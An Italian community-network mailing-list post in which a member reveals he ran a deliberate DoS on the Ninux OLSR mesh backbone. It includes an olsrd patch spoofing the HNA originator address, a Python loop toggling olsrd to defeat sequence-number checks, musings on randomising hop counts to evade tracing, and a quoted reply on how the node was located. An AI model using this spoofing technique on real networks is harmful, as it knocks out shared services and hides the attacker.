[Ninux-Wireless] Attacchi DoS in olsrd Was: [ninux-roma] "Malfunzionamento" a Gallia

Saverio Proto zioproto a gmail.com
Dom 25 Maggio 2014 01:03:21 CEST


Ciao,

Metto in Cc: anche wireless a ml.ninux.org perché questa email contiene
informazioni tecniche interessanti.

bravi, avete risolto il problema in fretta :) Ho volutamente provato
un attacco DoS sul backbone per capire che effetto poteva avere.

ecco la patch di olsrd con cui generavo l'attacco DoS

diff --git a/src/build_msg.c b/src/build_msg.c
index 109f955..e252981 100644
--- a/src/build_msg.c
+++ b/src/build_msg.c
@@ -1021,7 +1021,11 @@ serialize_hna4(struct interface *ifp)
   m = (union olsr_message *)msg_buffer;

   /* Fill header */
-  m->v4.originator = olsr_cnf->main_addr.v4.s_addr;
+  struct in_addr fakesource;
+  fakesource.s_addr = 0;
+  //inet_hton(2956867021,&fakesource);
+  inet_aton("172.16.40.40",&fakesource);
+  m->v4.originator = fakesource.s_addr;
   m->v4.hopcnt = 0;
   m->v4.ttl = MAX_TTL;
   m->v4.olsr_msgtype = HNA_MESSAGE;


una domanda,

se avessi patchato anche:

m->v4.hopcnt = XXX

mettendo numeri casuali..

sarebbe stato altrettanto facile capire chi è che iniettava questi messaggi ?

mi sto divertendo parecchio con questi attacchi DoS, sono molto
istruttivi. Per chi vuole giocare insieme a me a programmare in C
possiamo approfondire il giovedi sera al Sans Papiers. (Il prossimo
che vorrei provare è DrDoS su snmp).

un problema di questo attacco sono cmq i sequence number. Per rendere
l'attacco efficace ho dovuto far andare la mia instanza patchata di
OLSR a singhiozzo:

import os
import time

while True:
        os.system("olsrd")
        print "started\n"
        time.sleep(120)
        os.system("killall olsrd")
        print "killed\n"
        time.sleep(300)

in quanto avevo bisogno che i miei sequence number dovevano sempre
essere piu bassi di quelli del spoofato, altrimenti venivano scartati
come out of sequence.

vi va di scrivere insieme un articoletto per il blog ? Io scrivo la
parte di come ti costruisce l'attacco e voi la parte di come avete
fatto ad identificare il nodo spoofato ?

ho staccatto il nodo attaccante, il gioco è finito :)

ah... vi prego nessun malumore per qualche oretta di disservizi, this
is Ninux. Si fanno queste cose perché ci si diverte insieme.

ciao :)

Saverio

Il 24 maggio 2014 23:23, Andrea Pescetelli
<andrea.pescetelli a gmail.com> ha scritto:
> Saverio,
> Abbiamo rilevato che dal nodo Gallia viene generato un messaggio olsr hna
> con originator 172.16.40.40, validity time 570, hna 176.62.53.192/28
> proveniente dal nodo in oggetto.
>
> Questo problema sta oscurando diversi servizi di ninux in farm appartenenti
> a quella subnet.
>
> Abbiamo triangolato la posizione basandoci sugli hop count dei cammini
> multipli.
> puoi verificare?
>
> Grazie
>
> Fish, Hispanico, Halino
> --
> Andrea Pescetelli aka Fish
> Skype: andrea5742
> Ninux int: 5001/5002
> Mobile: +39 3891156050
>
>
>
>



Maggiori informazioni sulla lista Wireless